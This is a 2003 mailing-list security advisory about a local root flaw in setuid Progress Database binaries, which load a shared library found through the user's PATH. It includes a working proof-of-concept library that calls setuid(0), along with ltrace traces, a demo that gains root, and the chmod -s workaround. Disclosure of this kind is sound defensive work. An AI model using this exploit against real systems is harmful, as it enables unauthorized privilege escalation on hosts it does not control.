[VulnWatch] SRT2003-06-13-0945 - Progress PATH based dlopen() issue

From: KF (dotslash_at_snosoft.com)
Date: 06/14/03

  • Next message: Frog Man: "[VulnWatch] pMachine (PHP) : Include() Security Hole"
    Date: Fri, 13 Jun 2003 22:23:01 -0400
    To: bugtraq@securityfocus.com
    
    
    

    http://www.secnetops.biz/research

    
    

    Secure Network Operations, Inc. http://www.secnetops.com
    Strategic Reconnaissance Team research@secnetops.com
    Team Lead Contact kf@secnetops.com

    Our Mission:
    ************************************************************************
    Secure Network Operations offers expertise in Networking, Intrusion
    Detection Systems (IDS), Software Security Validation, and
    Corporate/Private Network Security. Our mission is to facilitate a
    secure and reliable Internet and inter-enterprise communications
    infrastructure through the products and services we offer.

    Quick Summary:
    ************************************************************************
    Advisory Number : SRT2003-06-13-0945
    Product : Progress Database
    Version : Versions 9.1 up to 9.1D06
    Vendor : progress.com
    Class : local
    Criticality : High (to all Progress users)
    Operating System(s) : Linux, SunOS, SCO, TRU64, *nix

    High Level Explanation
    ************************************************************************
    High Level Description : Poor usage of dlopen() causes local root
    compromise
    What to do : chmod -s /usr/dlc/bin/*

    Technical Details
    ************************************************************************
    Proof Of Concept Status : SNO has exploits for the described situation
    Low Level Description :

    Progress applications make the use of several helper .dll and .so binaries.
    When looking for shared object files for use in a dlopen statement Progress
    choose to look in the users PATH. No verification is performed upon the
    object that is located thus local non super users can make themselves root.
    *Most* binaries in /usr/dlc/bin can be exploited via this method.

    [elguapo@rh8 elguapo]$ ls -al /usr/dlc/bin/_proapsv
    -rwsr-xr-x 1 root root 5258733 Nov 23 02:01 /usr/dlc/bin/_proapsv

    getenv("DLC") = NULL
    strcpy(0xbffff350, "libjutil.so") = 0xbffff350
    memmove(0xbfffefc8, 0xbffff350, 12, 0x084a2a50, 0x084e1310) = 0xbfffefc8
    access("libjutil.so", 4) = -1
    __errno_location() = 0x4212a620
    getenv("PATH") = "/usr/local/bin:/bin...
    strcat("/usr/local/bin", "/") = "/usr/local/bin/"
    strcat("/usr/local/bin/", "libjutil.so") = "/usr/local/bin/libjutil.so"
    access("/usr/local/bin/libjutil.so", 4) = -1
    ...
    strcat("/home/elguapo/bin/", "libjutil.so") "/home/elguapo/bin/libjutil.so"
    access("/home/elguapo/bin/libjutil.so", 4) = 0

    As you can see the library libjutil.so is searched for in the users PATH.

    Thanks to core@bokeoa.com for giving me an example shared library example
    ... it made exploiting this problem quite simple.

    #include <stdio.h>
    #include <string.h>

    // If you wanted to get creative you can hack out some fake functions for
    // use later ... but theres no need... just use _init

    int ehnLogOpen(int argc, char * const argv[], const char *optstring) {
            printf("This is a fake ehnLogOpen \n");
    }
    int ehnLogClose(int argc, char * const argv[], const char *optstring) {
            printf("This is a fake ehnLogClose\n");
    }

    _init() {
       setuid(0);
       setgid(0);
       printf("bull*** library loaded\n");
       system("/usr/bin/id > /tmp/p00p");
       system("cat /tmp/p00p");
    }

    [elguapo@rh8 elguapo]$ /usr/dlc/bin/_proapsv
    This is a fake ehnLogOpen
    uid=0(root) gid=500(elguapo) groups=500(elguapo)
    +0001%ReadUBproperties failed: WebSpeed error 10007, System error 0,
    ServiceName cannot be NULL or blank (6275)#00This is a fake ehnLogClose
    uid=0(root) gid=500(elguapo) groups=500(elguapo)

    [elguapo@rh8 elguapo]$ /usr/bin/ltrace /usr/dlc/bin/_proapsv

    we can see it searches path and finds nothing ...

    getenv("PATH") = NULL
    dlopen("libjutil.so", 258) = NULL
    ...
    read(3, "Could not open Dynamic Library: "..., 81) = 81
    malloc(51) = 0x084df718
    dlerror() = "libjutil.so: cannot
    open shared "...
    lseek(3, 649134, 0) = 649134
    read(3, "DLL Error : %s (8014)", 81) = 81

    In the above example we just gave it a little help finding the .so
    The dlsym command will help you determine which fake functions you need
    to make the exploit work.

    getenv("PATH") = "/tmp"
    strcat("/tmp", "/") = "/tmp/"
    strcat("/tmp/", "libjutil.so") = "/tmp/libjutil.so"
    access("/tmp/libjutil.so", 4) = 0
    dlopen("/tmp/libjutil.so", 258) = 0x084e1840
    dlsym(0x084e1840, "ehnLogOpen") = 0x40013414
    dlsym(0x084e1840, "ehnLogClose") = 0x4001345e
    dlsym(0x084e1840, "ehnLogWrite") = 0x400134a8
    dlsym(0x084e1840, "ehnLogDump") = 0x400134f2
    dlsym(0x084e1840, "ehnLogGetProperties") = 0x4001353c
    dlsym(0x084e1840, "ehnLogSetProperties") = 0x40013586
    This is a fake ehnLogOpen
    uid=0(root) gid=500(elguapo) groups=500(elguapo)

    a valid work around to nearly any Progress security hole is to remove the
    suid bit from all binaries

    Vendor Status : Patch will be in version 10.x
    Bugtraq URL : to be assigned

    ------------------------------------------------------------------------
    This advisory was released by Secure Network Operations,Inc. as a matter
    of notification to help administrators protect their networks against
    the described vulnerability. Exploit source code is no longer released
    in our advisories. Contact research@secnetops.com for information on how
    to obtain exploit information.


  • Next message: Frog Man: "[VulnWatch] pMachine (PHP) : Include() Security Hole"